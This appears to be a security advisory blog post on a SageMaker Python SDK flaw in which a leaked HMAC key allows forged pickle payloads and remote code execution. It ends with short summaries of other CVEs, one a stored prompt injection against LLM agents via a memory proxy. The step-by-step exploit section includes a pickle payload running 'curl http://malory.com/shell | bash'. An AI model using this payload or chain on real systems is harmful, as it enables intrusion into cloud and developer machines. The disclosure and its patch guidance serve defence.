Feb 3, 2026·6 min read·105 visits
The SageMaker Python SDK passed its integrity secret key as a cleartext environment variable. Anyone with 'DescribeTrainingJob' permissions could read the key, forge malicious serialized objects, and execute code on the training cluster or the developer's laptop.
A critical design flaw in the Amazon SageMaker Python SDK allowed for Remote Code Execution (RCE) via insecure handling of cryptographic secrets. The SDK's 'remote function' capability, designed to offload local Python code to AWS training clusters, utilized a HMAC integrity check to sanitize serialized payloads. However, the secret key for this check was transmitted as a cleartext environment variable, accessible via standard AWS APIs. This allowed attackers with moderate privileges to forge malicious pickle payloads, achieving code execution both on the AWS training infrastructure and potentially on the victim developer's local machine.
In the world of MLOps, laziness is a virtue. The Amazon SageMaker Python SDK introduced a brilliant feature called the @remote decorator. Its promise was simple: write a function on your laptop, slap a decorator on it, and the SDK automatically serializes it, ships it to a massive GPU cluster in the cloud, runs it, and brings the results back to you. It's magic.
But as any security researcher knows, 'magic' usually involves pickle. Serializing code and executing it remotely is inherently dangerous. To make this 'safe', the AWS engineers implemented an integrity check. They didn't want just anyone modifying the code in transit (stored in S3) and having the training job execute it.
So, they decided to sign the payload using an HMAC (Hash-Based Message Authentication Code). Conceptually, this is the right move. You encrypt the hash of the data with a secret key. If the data changes or isn't signed by the key, the execution fails. It’s like a wax seal on a letter. The problem wasn't the lock; it was where they left the key.
Here is the architectural blunder: The SDK generated a REMOTE_FUNCTION_SECRET_KEY to sign the pickled payload. This key needs to exist in two places: the client (your laptop) to sign the code, and the remote worker (the SageMaker container) to verify it.
To get the key into the container, the SDK passed it as an environment variable to the SageMaker Training Job. In the cloud world, this is the equivalent of taping your spare house key to the front door. Why? because the AWS API DescribeTrainingJob returns the full configuration of a job, including the environment variables, in cleartext.
This meant that the 'secret' wasn't secret at all. Any user or role with sagemaker:DescribeTrainingJob permission—a very common, low-sensitivity permission often granted to developers, auditors, and CI/CD pipelines—could query the API, read the environment variables, and walk away with the HMAC key. The integrity check was reduced to security theater.
Let's look at the implementation logic that caused this. In the vulnerable versions (SDK < 3.2.0), the serialization logic relied on Python's hmac library. The _perform_integrity_check function took the payload and a secret key, hashed them, and compared the result.
The real smoking gun was in how the job was configured. The SDK automatically injected the key into the environment:
# Vulnerable Logic (Pseudo-code representation)
secret_key = secrets.token_hex(32)
job_env = {
'REMOTE_FUNCTION_SECRET_KEY': secret_key, # <--- The leak
'OTHER_VARS': '...'
}
sagemaker_client.create_training_job(
Environment=job_env,
...
)The fix, applied in commit fb0d789, is drastic. They didn't just hide the key; they deleted the concept of the key entirely. The engineers realized that there is no secure way to pass a shared secret through the control plane without setting up complex Key Management Service (KMS) logistics that would break the user experience.
The patch replaces the HMAC check with a simple SHA256 hash. Now, the SDK verifies that the file wasn't corrupted in transit, but it no longer cryptographically verifies the author. They shifted the security model from "Application Layer Integrity" to "Infrastructure Layer Access Control" (i.e., relying on S3 permissions).
# Patched Logic in serialization.py
# - hmac_key = os.environ.get("REMOTE_FUNCTION_SECRET_KEY")
# - if not hmac.compare_digest(digest, actual_digest):
# + digest = hashlib.sha256(data).hexdigest()
# + if digest != actual_digest:This vulnerability offers a textbook "Pivot" scenario. We start with Read access and escalate to Remote Code Execution. Here is how an attacker, let's call him "Malory", exploits this.
Step 1: Reconnaissance
Malory has access to the AWS CLI. He lists training jobs and describes one that looks active or recently completed:
aws sagemaker describe-training-job --training-job-name target-job-123
In the JSON output, buried under Environment, he finds:
"REMOTE_FUNCTION_SECRET_KEY": "deadbeef1234..."
Step 2: Weaponization
Malory creates a Python script using the pickle module. He defines a class with a __reduce__ method that executes a reverse shell when deserialized.
import pickle
import os
class Malicious(object):
def __reduce__(self):
return (os.system, ('curl http://malory.com/shell | bash',))
payload = pickle.dumps(Malicious())Step 3: Signing the Bomb
Using the stolen key deadbeef1234..., Malory calculates the HMAC-SHA256 of his payload. He updates the metadata.json file associated with the job to include this new valid signature.
Step 4: Delivery
Malory uploads his poisoned payload.pkl and metadata.json to the S3 bucket defined in the training job's output path. He needs s3:PutObject permissions for this, but if the bucket is shared or permissions are lax (common in data science orgs), this is trivial.
Step 5: Detonation This is the nasty part. The code executes in two possible places:
job.result() on their laptop. The SDK pulls the (now malicious) artifacts from S3, verifies the signature, unpickles the data, and boom—Malory now has a shell on the developer's laptop inside the corporate VPN.The severity of CVE-2026-1777 lies in the trust boundary violation. Developers treat SageMaker as a trusted execution environment. They assume that artifacts created by their own jobs are safe. This vulnerability inverts that trust.
By compromising the integrity mechanism, an attacker turns the SageMaker SDK into a lateral movement tool. Access to S3 and DescribeTrainingJob is usually considered "Data Plane" access, not "Admin" access. However, via this exploit chain, those permissions are elevated to arbitrary code execution on any machine that interacts with that job.
Furthermore, because the secret was exposed in the API response, it is likely logged in CloudTrail (if data events are enabled) or third-party monitoring tools, meaning the keys to the kingdom might be sitting in your Splunk logs right now.
Amazon's response was swift and decisive. They didn't try to patch the leak; they removed the pipe. By eliminating the REMOTE_FUNCTION_SECRET_KEY entirely, they acknowledged that the environment variable transmission vector was fundamentally unsafe for high-value secrets in this context.
How to patch:
Update your sagemaker python package immediately.
>= 3.2.0>= 2.256.0Post-Patch Reality: With the HMAC gone, the SDK now relies solely on S3 bucket policies. This means if an attacker can write to your S3 bucket, they can replace the code, and the SDK will happily execute it (checking only a simple SHA hash for corruption, not tampering). Therefore, S3 Write permissions are now effectively equivalent to RCE permissions for SageMaker users. Audit your bucket policies accordingly.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
sagemaker Amazon Web Services | < 3.2.0 | 3.2.0 |
sagemaker Amazon Web Services | < 2.256.0 | 2.256.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-312 (Cleartext Storage of Sensitive Information) |
| Attack Vector | Network (API & S3) |
| CVSS v3.1 | 7.2 (High) |
| Impact | Remote Code Execution (RCE) |
| Authentication | Required (AWS IAM) |
| Exploit Status | PoC Possible (Logic is public) |
The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.